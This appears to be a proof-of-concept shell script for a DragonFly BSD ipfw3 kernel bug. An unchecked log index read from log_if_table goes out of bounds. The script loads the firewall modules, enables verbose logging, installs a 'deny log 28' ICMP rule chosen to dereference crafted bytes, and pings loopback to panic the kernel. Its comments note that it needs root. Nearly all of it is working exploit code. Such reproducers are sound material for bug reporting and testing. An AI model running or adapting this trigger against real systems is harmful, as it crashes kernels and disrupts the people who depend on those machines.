DF-0748 / trigger.sh
#!/bin/sh # DF-0748 trigger: unchecked uint16_t index into 10-element log_if_table[] # # Bug: ip_fw3_log.c:121 the_if = log_if_table[id] (id is uint16_t, NO check id<10) # ip_fw3_log.c:122 the_if->if_bpf (deref of OOB-read pointer) # ip_fw3_log.h:39 #define LOG_IF_MAX 10 # sbin/ipfw3/ipfw3basic.c:93,110 (*cmd)->arg1 = strtoul(N) NO bounds check # # Reachability: ipfw3 rule install requires IP_FW_X setsockopt on a raw IP socket, # gated by caps_priv_check(SYSCAP_NONET_RAW) in raw_ip.c:473. => ROOT-ONLY. # This is a root->kernel hardening gap (no unprivileged path), NOT a privesc. # # Setup order matters: # - default-to-accept so loading ipfw3 does not drop SSH # - verbose=1 BEFORE rule install (else ip_fw3_log() short-circuits at line 118) # - rule matches ONLY ICMP on loopback (so SSH packets are not denied) # - ping -c1 127.0.0.1 to fire exactly one matching packet set -u PATH=/sbin:/bin:/usr/sbin:/usr/bin echo "[*] DF-0748 trigger starting as $(id)" # default-to-accept must be set BEFORE kldload ipfw3 (read at MOD_LOAD) sysctl net.filters_default_to_accept=1 2>&1 kldload ipfw3 2>&1 || echo "[!] ipfw3 already loaded" kldload ipfw3_basic 2>&1 || echo "[!] ipfw3_basic already loaded" kldstat | grep -i ipfw # verbose=1 is the GATE for ip_fw3_log() to do the OOB read (ip_fw3_log.c:118) sysctl net.inet.ip.fw3.verbose=1 2>&1 sysctl net.inet.ip.fw3.verbose 2>&1 # id=28 reads fake_eh[0..8] at module offset 0x100 (verified via `nm ipfw3_basic.ko`): # log_if_table @ 0x20 (spans 0x20..0x70), fake_eh @ 0x100 -> id=(0x100-0x20)/8 = 28 # bytes {0x41*6,0x42*2} -> ptr 0x4242424141414141 (non-canonical) -> page fault on # `the_if->if_bpf` at ip_fw3_log.c:122. # install rule that ONLY matches ICMP on loopback (SSH traffic unaffected) ipfw3 add 1000 deny log 28 icmp from 127.0.0.1 to 127.0.0.1 2>&1 ipfw3 show 2>&1 | head echo "[*] sending one matching ICMP packet -> expect panic now" ping -c1 -t1 127.0.0.1 2>&1 echo "[!] if you can read this, no panic happened (FIXED kernel or verbose=0)" exit 0 |